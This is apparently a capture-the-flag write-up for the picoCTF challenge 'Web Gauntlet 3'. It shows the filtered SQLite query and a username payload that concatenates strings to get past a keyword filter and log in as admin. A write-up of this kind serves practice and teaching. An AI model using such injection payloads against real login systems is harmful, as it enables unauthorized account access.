

# Web Gauntlet 3

## Web Exploitation

### Description:

Last time, I promise! Only 25 characters this time. Log in as admin Site: <http://mercury.picoctf.net:28715/> Filter: <http://mercury.picoctf.net:28715/filter.php>

### Hints:

- 1) Each filter is separated by a space. Spaces are not filtered.
- 2) There is only 1 round this time, when you beat it the flag will be in filter.php.
- 3) sqlite

### Solution:

```
SELECT username, password FROM users WHERE username='adm'||'in' AND password="" | "" IS NOT ""
```

Filtered SQLite Injection  
Challenge #3

Congrats! You won! Check out filter.php

Username  
ad'||'min|

Password
